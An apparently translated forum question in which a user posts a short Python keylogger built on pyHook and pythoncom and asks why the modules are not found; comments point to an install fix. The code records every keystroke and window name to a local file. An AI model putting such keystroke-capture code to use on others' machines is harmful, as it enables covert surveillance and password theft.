0
因此,在我的代碼中,我安裝了所有我正在使用的模塊,但是我總是收到錯誤,說找不到模塊。請幫忙謝謝。即使安裝了模塊,也得到「ModuleNotFoundError:No module named'pyHook'」
代碼:
import pyHook, pythoncom, sys, logging , os , winsound , time
date = "C:\\Users\\Cameron PC\\Desktop\\Essays\\files\\keyloggeroutput"
date += time.strftime("%d.%m.%Y") + ".txt"
x = time.ctime()
with open(date, "a") as f:
f.write("\n")
f.write("[" + x + "] : ")
def OnKeyboardEvent(event):
global x
if event.Key =="Return" :
with open(date, "a") as f:
f.write(" {Enter}\n")
f.write("[" + x +"|"+event.WindowName + "] : ")
elif event.Key == "Space" :
with open(date, "a") as f:
f.write(" ")
elif event.Key == "Back" :
with open(date, "a") as f:
f.write("{Bkspc}")
else :
with open(date, "a") as f:
f.write(event.Key)
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
感謝隊友,修復了pyHook的問題,但我仍然得到與Pythoncom相同的問題,當我做點東西,我得到一個長長的紅色代碼,它不能在python中工作。 –
你可以閱讀[這裏](https://stackoverflow.com/questions/4145079/importerror-no-module-named-pythoncom)pythoncom的幫助。請問接受答案是否解決了你的問題。 –
Tnx,請更新pythoncom lib問題是否已修復。 –